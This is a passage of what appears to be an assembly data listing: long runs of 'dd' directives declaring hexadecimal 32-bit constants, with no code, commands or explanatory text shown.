0BA96B982h, 11318E0h, 0B2E5BF12h, 42E9289Dh, 7B234EF4h dd 0C4107FEh, 4041E1A7h, 638D0E8Fh, 20B8A950h, 2589E0A0h dd 0AD378682h, 7C2D00B1h, 3BC8B05Ah, 0EF0713C3h, 0C5F8EC05h dd 0D94FDCA0h, 7A5E39h, 445FFA65h, 0D100C73Fh, 729D4007h dd 1D202Ah, 602E355Ah, 368093AAh, 9EDCCC00h, 0B2D04DB8h dd 0F5E90029h, 373FA699h, 0F879A36Dh, 0A0AAA100h, 39FAA44Bh dd 3093600Fh, 209D3F14h, 8A087FEh, 9FF839E0h, 0E0049F0h dd 0C298BF78h, 77AE4h, 32EB271Ah, 729ECA2Ch, 75B17103h dd 0CA31795Dh, 574481AAh, 508FBE16h, 4401BC9Fh, 82520CE5h dd 65AD3310h, 1CC140CAh, 0C106159Bh, 0A7001035h, 9EE3CF39h dd 63033DB1h, 0C5AD38EAh, 0DC5CE07Ah, 49133FF9h, 7D24BA00h dd 843C4B31h, 0CF3738A4h, 4780C07Fh, 0D3854Ah, 9C63E14Fh dd 8CF9D8A2h, 0FAB73Dh, 4EC815BCh, 1975CEDh, 0BF05E264h dd 8A2D9FC7h, 8C8AE941h, 93562C80h, 73224h, 58AFD9D2h dd 7AE13EC9h, 3183F901h, 99FEAC97h, 0AAEEDE8h, 5C1A98F6h dd 2EE06290h, 0B457ACA0h, 0D7004572h, 0E8CF9395h, 0FE8DA1F6h dd 9BB10C50h, 233061A8h, 7195888h, 94A28085h, 36AAD15Eh dd 98A0DAE5h, 7208E2BCh, 8A2FC600h, 0F244EA9Dh, 0EB0E0A32h dd 408C0C82h, 80DD5230h, 2728C860h, 0FE75B681h, 34283909h dd 0B71C3448h, 47DC802Dh, 0A77298EFh, 56F69A00h, 0B6452E1Ch dd 5177008Bh, 38FB3429h, 3F0FF3EFh, 0E04AA0C2h, 2F6E2804h dd 0B899C379h, 6987C29h, 40006A7Bh, 0A248BE4Eh, 908430AAh dd 0F7C31044h, 0C464039Eh, 80CD1C88h, 0ACE363Ah, 70E3BF47h dd 209760A0h, 0C8A99666h, 0FCD2D49Dh, 7AAE901Eh, 8E04B9F1h dd 1B7C21A7h, 7E1DE400h, 5B2BE6h, 9B0AA3CAh, 3F88FF80h dd 0A91CA530h, 5CE2240h, 4ED4A428h, 0AF8F00B9h, 0AB18F347h dd 5E25E709h, 46CC18E1h, 6985E906h, 0C0B6132Bh, 0E15B5DD2h dd 4F0AD30Eh, 9B6C60A2h, 1F3C089h, 0F0AE7BA6h, 60FC0176h dd 0B005DD11h, 0FB8A064Fh, 9F08C460h, 7029488Dh, 8402760Ch dd 0BD0062F8h, 0E8CD5F19h, 72459552h, 1CEF13BEh, 0E9100241h dd 0BC029D9Ah, 9FC8B02Ch, 774422Fh, 65737B15h, 23C31F27h dd 0C4191206h, 71784083h, 80265BEAh, 11DECF1Ch, 42A20880h dd 4949BB3h, 46E1137Ah, 30BC8020h, 0F53A0AA0h, 328A83FEh dd 2212F04Ah, 45072D51h, 647A4C03h, 2EDB9830h, 81DC3EC7h dd 6B9D7983h, 0D2A1201Fh, 5758E023h, 0B185118h, 0B91BB1h dd 0A5B015CEh, 3205C598h, 93A2412Ch, 58204913h, 80537318h dd 943CE9C1h, 0D17580CAh, 0B32759D3h, 0AB330052h, 0FB1BC27Ah dd 0CECB164h, 409FACA8h, 0D362D500h, 6BE18FAFh, 802C994Ah dd 0B843F0Dh, 0C7804CFFh, 0E93D44B5h, 80B7DC30h, 1BC7C92h dd 6C66BF61h, 0C86FFC38h, 83D25EDh, 9D4900E5h, 11904C57h dd 0D8418ACh, 209851FAh, 9DC6DF09h, 27081A50h, 0CAE04EE8h dd 120C5ECBh, 485B7Ah, 9EEC2898h, 244C158Dh, 8F4D7D88h dd 0DDBE08E8h, 0CBE98AB7h, 281F40C0h, 0C200F673h, 20D14182h dd 0DBF8E4h, 13CC23AFh, 0E59E763Ah, 41872099h, 61BE452Ch dd 7883C757h, 0DC803508h, 0E0A9C91Fh, 0D39D2010h, 39793C00h dd 36B086Ah, 4878078Eh, 0A09995C6h, 5F5528AEh, 717D34Ch dd 0B283729Bh, 404E84FAh, 0DE62F220h, 9E23000Dh, 53390AAEh dd 444989C4h, 0E14530ECh, 394D046h, 2AB4247Fh, 0B6C91EFAh dd 7840D66Eh, 78990B57h, 0A0F1CC89h, 64677530h, 13DB07F0h dd 0E786316Dh, 0F591D19Ah, 1C9823B9h, 413517CFh, 0F6C4ABh dd 9882B696h, 280A2F3Bh, 0D851EA0Dh, 0EDAD62C0h, 13F2112Eh dd 0F9E9C648h, 1BED00B9h, 29751332h, 40484450h, 224F003Ch dd 9456D1E8h, 0A0B9FA80h, 32FAB6BFh, 0B2D0096Dh, 0A52A8844h dd 9202B820h, 491762C3h, 3358464Fh, 4D21CA42h, 0D03306F0h dd 83972B00h, 0C8C57E90h, 193E44A3h, 110876E9h, 18248B78h dd 0B71A4178h, 2495C8EAh, 85C4724Dh, 0AC40D0CAh, 0B212AD6h dd 0F72702B5h, 9DFC18EEh, 36AD7080h, 191D7A2Fh, 0D93E7848h dd 356C00E0h, 414DC120h, 0FD86F83Ah, 27948889h, 0C30A54A7h dd 0D83B227Eh, 0F71009B7h, 0B8F40850h, 3B18D300h, 24DF22FDh dd 0C1609DD4h, 0E0AC984Bh, 0CB05602Dh, 0D115D567h, 9B2FD498h dd 78225Ch, 585303CBh, 70137B07h, 80C0A658h, 7855FED3h dd 0FF210741h, 4003F7F8h, 0E5912AEBh, 50180249h, 6D3EB08Eh dd 0EA0802Dh, 7442A685h, 0AAA1669h, 443C4197h, 7295A3C7h dd 0A22230h, 4A86E691h, 920A2124h, 0F32D6F1Ch, 55B3AA40h dd 2E0C80A7h, 0C07C6588h, 17727B1Bh, 35222605h, 2C04A0C7h dd 8CC81F57h, 0C93860A5h, 92DEAFECh, 8BDFBE00h, 0F93E3F56h dd 136B2967h, 6CE48090h dd 0AFC00E2Ah, 142D4A2Eh, 0E08B41E0h, 1891EFh, 1791BBF1h dd 300574Eh, 5B34E3ECh, 0A8C71833h, 0EEEAACh, 86053C4Ah dd 6110E98Fh, 1603E03Ch, 0DC228C21h, 2CE52FA4h, 0D1E90346h dd 7C906C1Fh, 5C00B1ACh, 6E27D49Bh, 12D0FF8Ah, 564D7AC4h dd 6C243028h, 0D500CA7Dh, 0E499FD0Fh, 4D2DE15Ch, 4B80EC76h dd 3E5F7BA7h, 0E5ACD214h, 0D5CD8094h, 9445F3h, 28F532EEh dd 0EAAC9A48h, 892A600Eh, 6227689Fh, 3C80B5CAh, 1F3D3234h dd 5D6DB4A8h, 2C9C4056h, 7D3EEC1Dh, 714A2F35h, 415E8D82h dd 0EC08418Ch, 7D3A2CB9h, 6FE5302h, 40AC9DBBh, 0F23E97h dd 59803C0Ch, 0F6128643h, 5D40A00h, 6098C92Fh, 1F54BB5Dh dd 0A65178h, 6459AF22h, 735875h, 98FE42D2h, 71B10756h dd 0D4705B00h, 0E75F7943h, 9832463h, 0FFB05820h, 0CEF4D907h dd 52005992h, 469A3575h, 9FCA13C6h, 9083421h, 39138833h dd 883434D7h, 0A8015EB4h, 0E043C3EAh, 9441A024h, 29B98C05h dd 606B7A00h, 1E31F249h, 0DA06DE14h, 0AC9D24C5h, 32124F11h dd 183C8982h, 3F0739F8h, 6C8D0B1Ah, 24F2881Ch, 40FCE4F4h dd 5A4AE6EAh, 640BCB29h, 5137E00Ch, 86FAF6h, 5DCF08FEh dd 65DA466Bh, 8C6ED2FBh, 0E2DE716h, 0F8F2F020h, 403C13CCh dd 1D284872h, 168B6480h, 3F79B1E2h, 61006D87h, 0EC2C2B0Eh dd 0A414ADB6h, 216CA70Ah, 49D0084Ah, 7AE74260h, 0C8CD0A7Eh dd 60D428A8h, 787AD3Eh, 864D260Eh, 442C01F4h, 0E018773Bh dd 1D312160h, 12EFE966h, 60D4DA3Dh, 10C575Ch, 0B7C7D4A8h dd 86309B4Ch, 0A119BD78h, 487018E0h, 8C6492D1h, 23321AF4h dd 0DCC16925h, 467112A0h, 34615D54h, 0D544E980h, 0D81880B1h dd 9A3188F0h, 7A760063h, 0CC1DBD79h, 75018ACEh, 0DBB7A531h dd 50348709h, 2B9C0268h, 0AE9D6AD5h, 81945051h, 7D29CA4h dd 50D0C801h, 0B82C23B1h, 30E32F16h, 44BCBA24h, 0DB574300h dd 46747F0h, 4C3A02A1h, 0FB8A115Ah, 1852DCEEh, 0D3BA6094h dd 7CD863Eh, 0B0F2CAFCh, 0CDAC5A60h, 3A0C64E4h, 84513C1Eh dd 4089DC0h, 29DCB848h, 90BC0D82h, 4BB2C8A3h, 781B1402h dd 4105C858h, 0E096B53Dh, 814CCh, 74E9B74Ch, 6B1F3E2Ah dd 982DA625h, 2131CF10h, 94804D8Bh, 2EC21375h, 3A2B447Ch dd 92965B27h, 327C1018h, 142F507Fh, 0D9FA688Dh, 841F10FCh dd 98528CD7h, 0D5C5778h, 9562B070h, 5F8424A7h, 25919Ch dd 0D3049119h, 9815B5E7h, 0B0A2596h, 9C89E8ABh, 160FE818h dd 0BA026800h, 0E0B70513h, 33891EDEh, 0EA300104h, 915E9DE1h dd 0C42622A8h, 57C540E8h, 3500BDF5h, 60EEBE53h, 5C637B29h dd 0FB114C0Fh, 678D0483h, 0A5204DBDh, 0B42956B2h, 3E40B444h dd 58A907Bh, 0BE39CEFDh, 17884694h, 0F217B174h, 1A00F8B1h dd 0A21A705Eh, 4B860087h, 575D6BE6h, 0C909F761h, 48CA9E54h dd 1812EF6Ch, 8C4E6C31h, 6B246D15h, 0D1131FBCh, 7D529A00h dd 9289C51Dh, 7EE0320h, 46F3AEFEh, 0E99C8CC4h, 9800B491h dd 0A6183EFBh, 1C17E84h, 919F948Bh, 33B6C7CAh, 446CC4ECh dd 0BE453F80h, 107D3E1Dh, 60C4026h, 0E1500B82h, 2407A52Ch dd 0CCCEF640h, 8FDD00D9h, 50BF883Ah, 0A104DBFEh, 4E289E49h dd 0B07828C7h, 51D41F60h, 0BF865E1Eh, 42C1F026h, 20727820h dd 22793213h, 5452C46Ch, 52403107h, 0D2E01222h, 597C12Bh dd 59488F6Eh, 32388135h, 855200B7h, 0F95000CBh, 42B0FF53h dd 90E78CCh, 0A94AD516h, 99FC14D6h, 0CF50024h, 0A0FAE013h dd 20890CB3h, 748C18A1h, 0C84B8853h, 103CCF2Ch, 0F6459D80h dd 1FD243EFh, 0A85FD23h, 11BC2D6Dh, 17340C68h, 74971CEh dd 0B369319h, 60D11782h, 98BE77D4h, 0EC07C403h, 85DA492Dh dd 24239492h, 0D34C9828h, 80981748h, 9451799Dh, 86FE2C67h dd 974007B1h, 341230A5h, 63016DA6h, 9A4B576Ch, 68683FE7h dd 895B3D80h, 6E1DD035h, 1180946Ch, 5DED8E20h, 0E8010267h dd 0CA98315Ch, 0D000B044h, 8990B053h, 0B0F8F2Ah, 8155EF4h dd 4505A84Ch, 53E94678h, 522FA860h, 0CDE52A44h, 0F2C50084h dd 72358641h, 0D3E6C81Ah, 0C6BFF40Fh, 46680029h, 9876CBB6h dd 13572694h, 203C5938h, 8F4A900Ah, 5C21B060h, 2EDCA4F8h dd 60F0357Fh, 2F58EC97h, 2420FE5Ah, 7403B38h, 20AA3280h dd 5C6E90FCh, 0B047B66h, 3E0FB43Ah, 0C50A0F2h, 5F3703DFh dd 9EA7AB11h, 248D75E1h, 0BC942864h, 0CF853EC0h, 590409A3h dd 9C4955ADh, 96A180F7h, 0C1A3F8A1h, 64EE0F0Fh, 43B62BB1h dd 9513226Ch, 40185924h, 11C6A40h, 302B004Ah, 2BA7B44h dd 580085B3h, 0B417C6DAh, 0B13AA831h, 1C6080D4h, 0A0A24A98h dd 19353B2Dh, 0B8673F64h, 0D7981078h, 0A84D002Dh, 0E20EE916h dd 521307B7h, 90A58FFBh, 0C3F9CEF8h, 9A35BE0Bh, 40109920h dd 0D262439h, 6C546078h, 10712B3h, 0DB07AD7Bh, 73FE5FC0h dd 72920BA4h, 0C0901744h, 61E2C83Ah, 0E7387D07h, 27A19671h dd 88209E57h, 3732885Bh, 5413C72Ch, 92A69488h, 37ECD018h dd 0C300A73Ch, 8BA24149h, 1751E519h, 30EBB9B0h, 0D2985618h dd 68494304h, 44C242CAh, 80AF2535h, 92286008h, 0C3F1B20Ah dd 0CF808CA6h, 770E5C3Dh, 28482DEFh, 2D390439h, 4567C7C0h dd 4BB9F530h, 0E5C5AE1h, 2E717588h, 73080C27h, 60342C77h dd 0C0A3D90Ch, 1C56B802h, 66BF740Dh, 0E4C31504h, 35009CCDh dd 1C07776h, 0C400FE42h, 2857406Fh, 66BEF0h, 7D8E5FE8h dd 776DB92Fh, 0ECA63826h, 5AFD6440h, 7F9C77EEh, 0ABF502F4h dd 0D511416Eh, 933F0B60h, 89D8405Dh, 24106C19h, 50548866h dd 0D10FDD78h, 0AFA32E02h, 159720C3h, 6821F5h, 3916E4CBh dd 282631CAh, 88A144B9h, 47208027h, 0A0298032h, 8BA0A110h dd 3CBCF2E1h, 76951150h, 0F99BF13h, 80BC93FBh, 0F216607Ch dd 0A8C9619Fh, 0BB24824Ch, 6C0B0921h, 4EF3A048h, 0B3431500h dd 0D9ACEE8h, 4FB200A1h, 1EED60D2h, 9725682Ah, 6AD4B05Ch dd 0EE980519h, 0E6FE15DCh, 0F03F0010h, 3BD1A3C1h, 3DC8C9E7h dd 7AC45810h, 791879C0h, 3FB930DFh, 740EC6EFh, 65A03826h dd 121B5816h, 0B1325527h, 0DD10C87Ch, 0EB0BC066h, 0B1770h dd 7F8C1B74h, 39990972h, 98A009E5h, 0BDF722EEh, 0EAC71D00h dd 62E9BB7Eh, 2E57194h, 466DD203h, 0B8ABD42Ah, 8B9B4883h dd 0D8B2A0A7h, 5D5073EDh, 0F2051B4h, 43054ED9h, 212A1378h dd 2F4C71A8h, 2BFE6400h, 8C0BED28h, 0F8F9005Ch, 202A52DFh dd 8A2C75E0h, 0CAC06440h, 98933Eh, 5C0F9760h, 2235FBBBh dd 0D5A8494Ch, 1F57843Ch, 5DC740E4h, 8BA06CA4h, 72245F84h dd 0F88B45Dh, 2244908Eh, 88345883h, 26001C22h, 0E5D44DE7h dd 7A62F30h, 3C6DA274h, 2D36D3B6h, 0A0F0BEABh, 50012171h dd 28E7459Eh, 0E8685430h, 14486BD4h, 195DFF80h, 6E00F2BCh dd 732157B1h, 2C84AF31h, 44680A20h, 3A6471Dh, 0A9334AA0h dd 0E927019Eh, 3A074B8Fh, 2B429226h, 448BE08Ch, 355A6D28h dd 6498D816h, 84BD016Ch, 2DBE8087h, 104F2BA5h, 0F822E04Ah dd 28CD5F5h, 0A7F07FE8h, 68E0736Ch, 35FDCCC8h, 808468DCh dd 204734FBh, 0C4374CDCh, 2757A322h, 383106E8h, 9C9912FCh dd 0DD6E4064h, 5D00453Bh, 210318E7h, 0BB6FE8h, 4B4A902Ah dd 3437E30Ah, 4E60400Eh, 6D2FE4C4h, 5EA71C80h, 3E51058Fh dd 0CAC20487h, 537310E4h dd 22298200h, 0C9F5D9DEh, 0F017FC00h, 0C7A97E37h, 0FB904CA1h dd 0CAEC305Fh, 4B4E5CBh, 24537442h, 0E64F26Ch, 4AC8C9h dd 7FD2D585h, 1319F008h, 758DA1D0h, 4B2C0858h, 0C4B1578Bh dd 32154F68h, 0BD603900h, 8EDEE098h, 94309D96h, 0EBBE79Fh dd 20989A0Eh, 0AA3FB380h, 9D2E39C6h, 0B040DCA6h, 1DE3E9C5h dd 0BBB46C68h, 52DCAB80h, 0B6331130h, 87DDF314h, 0DCB4A594h dd 0C40B0083h, 40F2F24h, 0B84E0231h, 1038B832h, 700B3E15h dd 0C1EEAC9Dh, 0E1A58F70h, 7400B044h, 0A8534495h, 2791CB63h dd 0E494C0D1h, 80C00648h, 89347EC8h, 15A901A0h, 0CA462E68h dd 0A04D037Fh, 5A1C46Fh, 0E2EB1AA8h, 0BD158010h, 8476549Bh dd 0A6D67C09h, 0FC188089h, 9E0FF351h, 3C840D0h, 0F93EB4F2h dd 0C52F0092h, 0F4B70D0Ah, 9AAB2491h, 524EE2A0h, 0F8B6722Eh dd 84000622h, 57F6732Eh, 0D59E78h, 0FD40C953h, 87542BB4h dd 1294EC48h, 0B41F6D8Dh, 51BE2600h, 5049E9C8h, 8B9B982Dh dd 58544252h, 0B18874B0h, 161E00DAh, 0D35F9DD4h, 4F124B27h dd 8CD00572h, 0B8C6Fh, 7E0341F2h, 9D85253Eh, 3BD058h, 44E37BC9h dd 0B339D1A1h, 3E023D4Ch, 510E804Eh, 75007451h, 39AA037h dd 0C1B60713h, 0A01A7AF9h, 0FC46AD6Fh, 20837413h, 729554D0h dd 0E2A9046Ch, 0C8E5AE93h, 0CE7FA8BCh, 1738E648h, 48C8A25Fh dd 88F07813h, 70004CB2h, 0EE90DB9Bh, 6E1257h, 4EBC6297h dd 0CAB7EFF6h, 44D85C4Bh, 6A74BEA2h, 8C6608B0h, 295AD0A8h dd 4C304829h, 0E028BC2Dh, 272C2253h, 69878B05h, 0AE825D0Bh dd 4404795Ch, 8C852A7h, 9B784CB8h, 0CCF47B12h, 3F00B62Ch dd 44EC202Fh, 35C72DA9h, 0B0B18AA0h, 2A38B3B0h, 0C1BF8597h dd 0A984C871h, 1E7A308Ch, 65A27210h, 62001C6Ch, 3E5B78A4h dd 2686A8E2h, 50E4160Dh, 50A01483h, 0DA02BF3Dh, 19598C3Fh dd 443CE02Dh, 43389035h, 450B3E7Bh, 401EBAF7h, 27822030h dd 0C43171E5h, 13343DCAh, 0FF00C188h, 0A825B10Eh, 0C0100B33h dd 0F812753Ah, 420010F1h, 87D063D4h, 6DE4C8h, 4BC486CEh dd 0E113C991h, 0CB1DB70Eh, 5B4F606Ah, 1C63F5D8h, 0C0DAE6D6h dd 7FB7428Ah, 3739DD8Fh, 0F4330E39h, 0A2D34322h, 4F5AD895h dd 5025182Ah, 0AEC6182Ch, 0E71024Ch, 0F29C858h, 5B1D63E9h dd 0EFA990B0h, 0CBBC0565h, 0C054C0FEh, 0F423DED8h, 0CA296300h dd 850662F0h, 2DDF0043h, 0B1EC1D0Ah, 8D00EDAFh, 0CFDE96CBh dd 0F554F8h, 1ED56B15h, 7B03DFC6h, 845D9D00h, 0B02B22Bh dd 4701009Eh, 0A3666BC2h, 94008719h, 144E28E9h, 61813D21h dd 6415797Fh, 4900D339h, 0AC299E3Eh, 0D8E463h, 0F694C523h dd 5C15CB4Fh, 85293A6Eh, 200E7E47h, 0A4009161h, 4E1D204Ah dd 3F016FCBh, 458F7031h, 2080F54Fh, 0B37C1396h, 8E7298EAh dd 0E1DEC200h, 3FDC933Bh, 6FF418h, 6701B237h, 0C8804647h dd 70DE780Fh, 85520D7h, 75355768h, 3CA00FA2h, 6482E8ECh dd 0A8A0C7BCh, 7DA9BDF9h, 28130700h, 10743911h, 80CA6299h dd 62C1B323h, 989BF487h, 788D6C00h, 0E00A5BC7h, 4A3B189Ah dd 1FF428CCh, 8AE8E754h, 61F7A500h, 0BEEAD44h, 4A8514DEh dd 1538C4CEh, 3F6A998Ah, 38180CEEh, 57EA5678h, 8A58A000h dd 5DBD3A94h, 0A2292A14h, 0F8230DD8h, 0E061CA16h, 0D0A68B57h dd 64378503h, 0AE898D05h, 0CB7331h, 3FB74652h, 0AF14A276h dd 0E59F5100h, 0F587863Eh, 33A002Dh, 4076A7A1h, 54A460F9h dd 50A84CF0h, 1D0A9902h, 0B0D3BF92h, 4C4DB89h, 0F940AF4Ch dd 3A606142h, 4F2230C1h, 0F450F143h, 10CA23Fh, 5899C995h dd 26021F04h, 88850C30h, 53B9C3h, 0E871EC38h, 0BD584137h dd 2207C21Fh, 802D500Ah, 2F9DEE80h, 45E315h, 17DD90D5h dd 0F63CD4CBh, 0D1AADA09h, 1F44192Dh, 5B00B422h, 6ED4AFA5h dd 6A006369h, 0BF0A23A8h, 148194B2h, 0FC8A3C1Bh, 0C972280h dd 0FA00B14Bh, 67127DCBh, 5411BDB0h, 64E4C9h, 46425B9Dh dd 0C538B6EFh, 9EE0EC54h, 57D7B340h, 0D060D454h, 0EA3015E4h dd 23B86F56h, 308B0CDAh, 0DB01DE89h, 0A0266427h, 0F0E45909h dd 8DC000FBh, 5893C867h, 83052535h, 0BD2F571Bh, 1146009h dd 333F6934h, 88BB7820h, 0DD549448h, 720AD8CCh, 94E5554Bh dd 993F8103h, 0CE41001Ch, 9DC1F00Ah, 7A0AD301h, 0A42F509Ch dd 0FB078380h, 38FEE31h, 519BB5AAh, 0AE972EBBh, 3C3F7880h dd 24983797h, 0B9F8A100h, 0C167F3C5h, 589F07A0h, 1072B20Ah dd 4F4035Ah, 907AA928h, 993C3E09h, 59A820C1h, 7D52018Ch dd 3A103994h, 2405A2BEh, 0BC2E67h, 0EC476A74h, 0C5015C92h dd 24BAA3Dh, 40317766h, 80F564E4h, 31CB4E88h, 0FAFD01D6h dd 0EC80F827h, 45E6E86Dh, 0EA00066Bh, 3C5F1ACFh, 70CD910Bh dd 86549342h, 0A1D89D32h, 4C76F00h, 0AC6B08FDh, 2964A81Eh dd 71ED61A3h, 50E6FD4Fh, 19A72E9Ch, 0E5FF0CA0h, 8F13F89h dd 0FA89C830h, 0A63D26FDh, 0B315618Ch, 58FC2421h, 454C1498h dd 76819FACh, 0FB5C1601h, 0A3BB9E40h, 0CD1009D0h, 0D004C5A6h dd 0A015409Fh, 0A1DEC3FAh, 4443BED5h, 665FEA39h, 7DCF21D4h dd 8920B308h, 14104A95h, 0B9242FD5h, 14683467h, 904B3A8Ah dd 8DC76740h, 768424CDh, 98CC60F0h, 0A1FA42B2h, 588B7026h dd 0B5A7B840h, 0C690002h, 0FABFA39Ch, 4600B34Dh, 2BA1B1A6h dd 932CCA0Dh, 0E711ECh, 1CD75609h, 9BEF5DD5h, 0AE67805Ch dd 5A641A34h, 5C1EC4A4h, 0DB4F8B80h, 0DC163250h, 0B9F0041Dh dd 7A2C166h, 0AF9CD8E3h, 597700BEh, 0A97EFF22h, 286B9D09h dd 69EC305Bh, 0D947303Dh, 3FC73341h, 0D46CD204h, 0C8C1845h dd 0ECBD53D6h, 88D86604h, 4323004Dh, 0B073281Ah, 0B5D900B5h dd 0F93677F7h, 723AA995h, 8149BE7Eh, 3D388CFh, 420F402h dd 0C8EE8826h, 4458BDh, 1BAD2A12h, 260FAC10h, 87AA5702h dd 4156A249h, 2A112708h, 95F45030h, 4100DB5Dh, 0D78D8E49h dd 0C03345FFh, 0E97F9A59h, 0ABEE1D5Ch, 74142430h, 73B278DBh dd 0C9359h, 4608D49Bh, 791317E1h, 0D821FF65h, 51802744h dd 0A53B2CADh, 0D8005E45h, 4FB53E98h, 0B9AE2BB2h, 24A9881Ch dd 107D5242h, 968520B0h, 0C5F85F6Eh, 81BAA9h, 0B6B802D0h dd 41D40C3h, 78E42E66h, 0AC019940h, 0A58805F6h, 2126023Ch dd 30533EDCh, 96020190h, 0B1F29415h, 449B186Ah, 0A381306Eh dd 0F0F3A980h, 0B17F112h, 1F96DBCFh, 6007E080h, 0B007BC24h dd 50194571h, 0A68184AAh, 1C3E4E72h, 2F226427h, 3564F100h dd 0E2A2CD07h, 2D3C01E6h, 72B61731h, 221067D1h, 0E4B10001h dd 0D77BEA8Ah, 792C8949h, 6A12A38Ch, 0DE146C21h, 0D0AD2E10h dd 22087858h, 0CC2A5CF3h, 18C85580h, 0C324402Dh, 3BC17058h dd 244021AEh, 1BDD29Dh, 4C472BCh, 41426932h, 2DFCDD4h dd 38FC901Fh, 339000C4h, 68B56DD0h, 0E300BFBBh, 9293C7F3h dd 862AA610h, 391A1F30h, 329D20Dh, 163A8CC5h, 0EE98BFFCh dd 0FE7BF728h, 2336240Bh, 0DB0C199Dh, 0D8246003h, 1350701Bh dd 2C491218h, 34A9E056h, 8ABCA102h, 0E354FB30h, 79AE47h dd 4927ABC8h, 0B5FF25E5h, 77FA9E00h, 547C70Eh, 70D94CE4h dd 4A152C40h, 0C5843066h, 4F4DBD99h, 731F773Ch, 0F42EE93Bh dd 9D8C81CFh, 3E8272B3h, 0C79C33D7h, 3C019864h, 0AD16242Ch dd 8802F579h, 570004E4h, 0AB6645DCh, 2A4EA72h, 3A545C28h dd 1EC06942h dd 6E0C83Ch, 0F04C642Ch, 4AA1D440h, 9F88B1E6h, 5442233h dd 99CC0067h, 0A01B067Ah, 88947080h, 10810865h, 0BE113EB3h dd 9AC1ECF7h, 62953Fh, 97F9A102h, 946FE2FEh, 3DB2E374h dd 3CAE3900h, 6B7BE9C2h, 0FD7519AFh, 8729203Eh, 16D603E9h dd 85F01389h, 4829FC98h, 4F8378BCh, 0E1264A43h, 5048843Fh dd 3860DA81h, 76F8A34Fh, 90CD722Ch, 3C16100Ch, 58D85DFBh dd 5256005Dh, 0CD1C93DEh, 0A4DA04F1h, 8DA6D0F6h, 0D046C210h dd 9740C03h, 0C16940E3h, 0D8DFB54Ch, 0CB3F17Dh, 326416C4h dd 53583A89h, 0C70A8084h, 7C4F76FAh, 209D48AAh, 74210095h dd 2A12A0A3h, 8777B8D0h, 0EFE20EDBh, 0EEFC2567h, 5960059Fh dd 0D690DCB5h, 0DCB4C38Ah, 11E3F492h, 32D91017h, 0F0680029h dd 242F4043h, 7B1E0B9Bh, 0CCE8068Fh, 0D0535F4Bh, 36217470h dd 68584C64h, 0F70E9580h, 809CDC2h, 0E28896h, 563C0108h dd 33503092h, 99343929h, 5BA8311Ch, 0E11C9D82h, 0AB486020h dd 0D1ECA81Fh, 0BB80AC78h, 0ED243854h, 0D866129Ch, 2CB98B9Ch dd 0BD115400h, 4B49910h, 16893655h, 4E2888A8h, 7060DB61h dd 90275B65h, 671E10h, 9DB53A66h, 7351C40Eh, 6B3C2C22h dd 0F2886900h, 0A9E140F0h, 79766F27h, 4DC78C00h, 0ADBF5DE3h dd 61F8B31Eh, 70F8952Eh, 0EC7590F4h, 673FF892h, 0AD0B735Ch dd 803E1CC8h, 0DC438634h, 60B829h, 60669049h, 56484647h dd 18D77825h, 604465DCh, 5E3993Ah, 931D18EFh, 588981FEh dd 783280A0h, 4C41BF1h, 7ED7DB19h, 0DDA0A488h, 95422F07h dd 0C08ABC5Fh, 7C8843C4h, 8C409444h, 0BB5060E2h, 0D1C1B50Eh dd 6C6FA974h, 1B1E308Ch, 94478D39h, 65A0D700h, 48B1B7C3h dd 337F00BBh, 1EB9D055h, 6F01057Dh, 0BD960B3Dh, 0E8200193h dd 0D6E1023Ch, 6E6B5F66h, 10076449h, 3B34915h, 2FD05AA3h dd 0C900DFBFh, 0B5320799h, 0AC3DD34Ch, 0D9D516DCh, 0C0CDC708h dd 30362822h, 0B4788325h, 1EAF03C0h, 3ABE2F57h, 0D1146103h dd 3DE88A02h, 0C500C111h, 943120F5h, 0D53EAB0Eh, 76E0D426h dd 8B171494h, 0D50FF020h, 0DB6A0F25h, 803F243h, 7F98C176h dd 312674CEh, 0FDC0BCDFh, 0A4304264h, 463244C0h, 21EE2400h dd 0C4D28474h, 2A6F02E5h, 0A46833DDh, 7859C0CAh, 648AAB00h dd 4851ACE7h, 600027A1h, 89BEBDFFh, 0B893D93Eh, 0A3894C90h dd 311F5C30h, 0B23951C0h, 2E2671h, 0CF3D410Fh, 0DA6208Eh dd 0F8A66490h, 77DBCA0Eh, 698BFDEEh, 1C108516h, 11618C1Dh dd 0A10B03CAh, 0DD431E9Eh, 15C0CC99h, 10785861h, 9D056480h dd 39C14B89h, 511044E7h, 3F8FA8D4h, 775CA6D8h, 0EA613D0Dh dd 0C1B02830h, 8E559E0Bh, 1F9AEE4h, 2392193Ch, 69269128h dd 0EB3200A8h, 4174D29Bh, 0BF7100CFh, 0EEB176D5h, 11008E34h dd 21A73C94h, 2CA0A367h, 25407EFFh, 648160B2h, 62899147h dd 25C900B0h, 60B8567Bh, 5836151Eh, 6FC2B067h, 6C80993Fh dd 1EFEEC35h, 39D13E0Bh, 500FDADh, 0F7FC2DA5h, 6D9E3402h dd 6471C9DBh, 1B5A3268h, 0B8C444E9h, 8FB88500h, 896E29F5h dd 0E04202FFh, 0DDF97ABAh, 2344DC78h, 3C93DAh, 0F09FD135h dd 5312B803h, 0B8CB23D4h, 107A4B00h, 0DC8FDF68h, 13649E8Ch dd 32AC04D9h, 0A0341366h, 0D253CFC0h, 8AB00018h, 1AE809F7h dd 0DB12D59Dh, 600BFCh, 45A81538h, 0C1A83028h, 0E23C6688h dd 0DC165486h, 6132631Fh, 0CAC0C04Ch, 461DBCBDh, 0A140A92Ah dd 0C28A38D5h, 54664B16h, 234A1544h, 5FA46B2Ch, 69C04A0Ch dd 0ACA41Fh, 7778960Fh, 29761C33h, 6646D907h, 0E3C08BCBh dd 251EB399h, 12C6C9h, 698AFC98h, 135589Fh, 3E905B66h dd 401DEA50h, 0D5CFCABBh, 199168B3h, 0CB4AE31Fh, 2C40613Fh dd 0B1CF132Ah, 0FE00F654h, 29F9EDA0h, 3BBC09E4h, 0D0807F47h dd 0F1BA40B4h, 0A9B0F70Eh, 2413F65Ah, 5628C8h, 0ACB5354Fh dd 256D20DEh, 57ADCA00h, 0CCDC84D6h, 5940FABBh, 3980FC48h dd 863FBD69h, 58B0F2EEh, 5F89005h, 0DC8B3E5Dh, 60334112h dd 0D17A9BCh, 0F1AF670Bh, 25E0387Fh, 422CBC75h, 461A3EB2h dd 0CF1D0064h, 18B8E395h, 9A0E32A2h, 42BEBA1Ch, 498C0F8Bh dd 60325884h, 1140D724h, 5E15160Ah, 7CCC6024h, 0CCD00062h dd 2F42FC95h, 19C3D4A2h, 2FF5B04Fh, 44204479h, 0C8D48929h dd 0F7E8500h, 98D152A4h, 0C1AD006Eh, 70B475CDh, 503BAF6h dd 